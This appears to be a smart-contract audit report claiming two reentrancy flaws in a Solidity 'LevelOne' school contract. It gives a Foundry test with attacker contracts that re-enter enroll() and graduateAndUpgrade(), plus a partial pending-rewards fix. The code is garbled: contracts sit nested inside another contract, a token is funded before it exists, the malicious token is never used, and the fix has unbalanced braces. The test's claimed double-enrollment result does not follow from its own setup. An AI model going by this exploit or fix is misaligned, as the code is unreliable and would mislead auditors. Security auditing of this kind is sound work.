Two critical reentrancy vulnerabilities exist in the LevelOne contract that could lead to fund manipulation and state inconsistencies.
pragma solidity ^0.8.19;
import {Test, console} from "forge-std/Test.sol";
import {LevelOne} from "../../src/LevelOne.sol";
import {MockUSDC} from "../mocks/MockUSDC.sol";
import {DeployLevelOne} from "../../script/DeployLevelOne.s.sol";
import {SafeERC20} from "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
contract ReentrancyTest is Test {
LevelOne levelOne;
MockUSDC usdc;
address principal;
address student;
address teacher;
uint256 constant SCHOOL_FEES = 100e6;
uint256 constant INITIAL_BALANCE = 1000e6;
MaliciousToken malToken;
MaliciousTeacher malTeacher;
function setUp() public {
principal = makeAddr("principal");
student = makeAddr("student");
teacher = makeAddr("teacher");
usdc = new MockUSDC();
vm.startPrank(principal);
levelOne = new LevelOne();
levelOne.initialize(address(usdc), principal);
levelOne.setSessionStart(block.timestamp);
levelOne.setSessionEnd(block.timestamp + 365 days);
vm.stopPrank();
usdc.mint(student, INITIAL_BALANCE);
usdc.mint(address(malToken), INITIAL_BALANCE);
malToken = new MaliciousToken(address(levelOne));
malTeacher = new MaliciousTeacher(address(levelOne));
}
contract MaliciousToken is IERC20 {
LevelOne immutable levelOne;
uint256 public callCount;
constructor(address _levelOne) {
levelOne = LevelOne(_levelOne);
}
function transferFrom(address from, address to, uint256 amount) external returns (bool) {
if(callCount < 2) {
callCount++;
levelOne.enroll();
}
return true;
}
function transfer(address to, uint256 amount) external returns (bool) {
return true;
}
function balanceOf(address account) external view returns (uint256) {
return INITIAL_BALANCE;
}
}
contract MaliciousTeacher {
LevelOne immutable levelOne;
constructor(address _levelOne) {
levelOne = LevelOne(_levelOne);
}
receive() external payable {
levelOne.graduateAndUpgrade(address(0x123), "");
}
}
function testReentrancyEnrollment() public {
vm.startPrank(student);
usdc.approve(address(levelOne), SCHOOL_FEES * 2);
levelOne.enroll();
assertEq(levelOne.isStudent(student), true);
uint256 studentCount = 0;
for(uint i = 0; i < levelOne.getStudentLength(); i++) {
if(levelOne.listOfStudents(i) == student) {
studentCount++;
}
}
assertEq(studentCount, 2);
assertEq(levelOne.bursary(), SCHOOL_FEES * 2);
vm.stopPrank();
}
function testReentrancyGraduation() public {
vm.startPrank(principal);
levelOne.addTeacher(address(malTeacher));
usdc.mint(address(levelOne), SCHOOL_FEES * 10);
levelOne.graduateAndUpgrade(address(0x123), "");
uint256 teacherBalance = usdc.balanceOf(address(malTeacher));
uint256 expectedSinglePayout = (SCHOOL_FEES * 10 * levelOne.TEACHER_WAGE()) / levelOne.PRECISION();
assertEq(teacherBalance, expectedSinglePayout * 2);
vm.stopPrank();
}
}
mapping(address => uint256) private pendingRewards;
function graduateAndUpgrade(address _levelTwo, bytes memory) public onlyPrincipal nonReentrant {
for (uint256 n = 0; n < listOfTeachers.length; n++) {
pendingRewards[listOfTeachers[n]] = payPerTeacher;
}
function claimRewards() external nonReentrant {
uint256 amount = pendingRewards[msg.sender];
require(amount > 0, "No rewards");
pendingRewards[msg.sender] = 0;
usdc.safeTransfer(msg.sender, amount);
}
}
These changes would enforce the checks-effects-interactions pattern and prevent reentrancy attacks while maintaining the intended functionality.